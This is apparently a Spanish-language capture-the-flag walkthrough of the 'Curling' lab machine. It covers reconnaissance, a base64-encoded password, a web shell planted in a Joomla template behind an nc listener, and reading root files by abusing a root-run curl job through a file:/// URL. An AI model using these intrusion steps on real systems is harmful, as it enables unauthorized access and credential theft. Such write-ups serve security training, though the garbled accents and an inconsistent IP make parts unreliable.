# Curling
### 馃攳 RECONOCIMIENTO
En primer lugar, tras conectarnos a la m谩quina, utilizamos el comando:
```bash
ping -c 1 10.10.10.150
```
para verificar la conectividad de red.
A continuaci贸n, realizamos el comando:
```bash
nmap -sC -sV 10.10.10.150
```
para realizar un escaneo de puertos y servicios detallado en la direcci贸n IP.
Durante el escaneo se identificaron los siguientes puertos abiertos:
* **Puerto 22 (SSH):** El puerto 22 est谩 abierto y ejecutando OpenSSH 7.6p1 en un sistema Ubuntu Linux. Se han detectado las claves del host en los algoritmos RSA, ECDSA y ED25519, lo que indica que el sistema permite conexiones seguras mediante SSH.
* **Puerto 80 (HTTP):** El puerto 80 se encuentra abierto y ejecuta un servidor web Apache 2.4.29 en Ubuntu. Se ha detectado que el sitio utiliza Joomla! como sistema de gesti贸n de contenidos (CMS), lo que podr铆a ser un posible vector de ataque si existen vulnerabilidades conocidas en la versi贸n instalada.
A continuaci贸n, se proceder谩 a analizar cada uno de estos servicios en busca de posibles vectores de ataque.
### 馃攷 EXPLORACI脫N
Se utiliza el comando:
```bash
sudo nmap -sCV -p22,80 -v 10.10.10.150
```
para que nos proporcione m谩s informaci贸n sobre esos puertos espec铆ficamente.
Revisamos el puerto 80.
Vemos que hay dos usuarios posibles **Super User** y **Floris**. Revisando el c贸digo fuente encontramos una l铆nea comentada.
Revisando el directorio nos encontramos una contrase帽a puede ser codificada en **base64**.
```
echo "Q3VybGluZzIwMTgh" | base64 --decode
```
Escaneo para ver los directorios.
```bash
ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-small.txt -u http://10.10.10.150/FUZZ
```
Vemos que hay un directorio que nos llama la atenci贸n llamado `/administrator`.
Nos logueamos con las credenciales obtenidas anteriormente.
### 馃殌 **EXPLOTACI脫N**
{% embed url="" %}
En **error.php** subimos una Reverse Shell. Nos ponemos en escucha.
```
http://10.10.10.150/templates/protostar/error.php
nc -nlvp 4444
```
Mejoramos la TTY.
```bash
python3 -c 'import pty; pty.spawn("/bin/bash")'
```
No tenemos permiso para leer la flag del user. Puedo acceder al archivo `password_backup`, que parece un archivo de volcado en formato hexadecimal. El tipo de archivo es ASCII.
Usando CyberChef, podemos cargar el archivo `password_backup` para procesarlo (para procesar el volcado hexadecimal, haz clic en la varita m谩gica junto a 'output').
Ah铆 est谩 la contrase帽a por lo que iniciamos sesi贸n.
```
ssh floris@10.10.10.151
```
### 馃攼 PRIVILEGIOS
Al estar dentro y ejecutar:
```bash
whoami
```
a煤n no somos **root**, por lo que hacemos:
```bash
sudo -l
```
para ver si hay algo para explotar. No tenemos permisos SUDO.
Descubrimos un proceso automatizado en el directorio `admin-area` que recupera datos desde una URL especificada en un archivo de entrada y almacena la salida en un archivo de reporte. Sospechamos que este proceso es ejecutado por un script que utiliza el comando `curl`, y dado que los archivos son propiedad de `root`, planteamos la posibilidad de acceder a archivos restringidos.
Tras investigar un poco, nuestra siguiente estrategia ser谩 modificar la ruta `file:////`. Primero, editaremos el archivo de entrada para que ejecute un archivo local y permitiremos que `curl` lo procese.
```bash
echo 'url = "file:///root/root.txt"' > input
cat report
```
Ya leemos as铆 la flag.
